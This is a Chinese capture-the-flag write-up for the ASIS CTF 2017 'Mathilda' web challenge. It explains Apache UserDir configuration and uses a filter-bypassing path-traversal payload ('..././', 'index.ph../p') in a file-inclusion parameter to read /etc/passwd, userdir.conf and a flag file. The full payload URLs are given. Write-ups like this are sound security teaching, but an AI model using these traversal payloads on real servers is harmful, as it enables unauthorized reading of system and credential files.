Chybeta

ASISCTF2017-Mathilda-writeup

ASISCTF2017-Mathilda-writeup
文件包含 apache配置userdir

Task

1
2
3
Description:
Mathilda learned many skills from Leon, now she want to use them!
http://178.62.48.181/

Solution

打开后是如上,查看源代码,发现:

访问:http://178.62.48.181/~rooney/ 。底下有个file选项,链接为: http://178.62.48.181/~rooney/?path=rooney

猜测path参数存在文件包含漏洞。经过尝试,可以发现后端会把path参数里的../替换为空。如下:

尝试读取index.php,如果直接访问 http://178.62.48.181/~rooney/index.php?path=index.php ,会发现直接返回Security failed!,鉴于会过滤../,可以用p../hp来绕过。经过一番尝试,最后访问:http://178.62.48.181/~rooney/index.php?path=..././index.ph../p


不过似乎没啥信息。

接着尝试读取 /etc/passwd,比如路径为 ../../../../etc/passwd,则根据过滤,传入的参数应为:..././..././..././..././etc/passwd
访问:

1
http://178.62.48.181/~rooney/?path=..././..././..././..././etc/passwd

或者访问

1
http://178.62.48.181/~rooney/index.php?path=..././..././..././..././etc/passwd

最底下有一行:

1
th1sizveryl0ngus3rn4me:x:1001:1001:,,,:/home/th1sizveryl0ngus3rn4me:/bin/bash

说明存在一个用户:th1sizveryl0ngus3rn4me

接下来需要知道一些apache的知识。apache中有一个功能 Per-user web directories。在多用户的操作系统上,如果apache配置了UserDir,则每个用户可以在自己的目录下建立一个web服务器,对应的url即为:http://example.com/~username/ ,就本例而言 http://178.62.48.181/~rooney/ 即表示rooney用户自己的目录的web服务器。

所以尝试访问: http://178.62.48.181/~th1sizveryl0ngus3rn4me ,结果直接返回个 Invalid Device 。

继续看看关于apache:UserDir的知识。UserDir指令可以指定被网络读取的用户网站目录,有如下几种不同的形式。

  1. 路径前没有反斜杠,则被当作用户目录下的文件夹,比如配置为:
    1
    UserDir public_html

那么 http://178.62.48.181/~rooney/index.php 会被解释为 /home/rooney/public_html/index.php

  1. 路径前有反斜杠,则利用路径和文件名构造。比如配置为:
    1
    UserDir /var/html

那么 http://178.62.48.181/~rooney/index.php 会被解释为 /var/html/rooney/index.php

  1. 如果路径中存在星号*,则用用户名去替代,比如配置为:
    1
    UserDir /var/www/*/docs

那么 http://178.62.48.181/~rooney/index.php 会被解释为 /var/www/rooney/docs/index.php

  1. 设置多重路径,比如配置为:
    1
    UserDir public_html /var/html

那么 http://178.62.48.181/~rooney/index.php 会先去查找 /home/rooney/public_html/index.php ,如果找不到,那就去查找 /var/html/rooney/index.php

以上的这些配置指令取自Per-user web directories的例子。这些指令需要在userdir.conf中进行配置。我们尝试读取一下服务器端的userdir.conf,访问:

1
2
http://178.62.48.181/~rooney/
?path=..././..././..././..././etc/apache2/mods-enabled/userdir.conf

所以可以知道,如果我们访问:
http://178.62.48.181/~th1sizveryl0ngus3rn4me/index.php 实际上会被apache服务器解释为 /home/th1sizveryl0ngus3rn4me/public_html/index.php 。由于直接访问不允许,我们可以利用 rooney 的文件包含来读取,访问:

1
2
http://178.62.48.181/~rooney/
?path=..././..././..././..././home/th1sizveryl0ngus3rn4me/public_html/index.ph../p

所以看起来,我们用了非预期的解法hhh。可以看出同目录下就有flag.php,我们可以直接读取:

1
2
http://178.62.48.181/~rooney/
?path=..././..././..././..././home/th1sizveryl0ngus3rn4me/public_html/flag.ph../p

得到flag:

1
ASIS{I_l0V3_Us3rD1r_Mpdul3!!}

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:ASISCTF2017-Mathilda-writeup

文章作者:chybeta

发布时间:2017年09月11日 - 15:09

最后更新:2017年09月11日 - 16:09

原始链接:http://chybeta.github.io/2017/09/11/ASISCTF2017-Mathilda-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。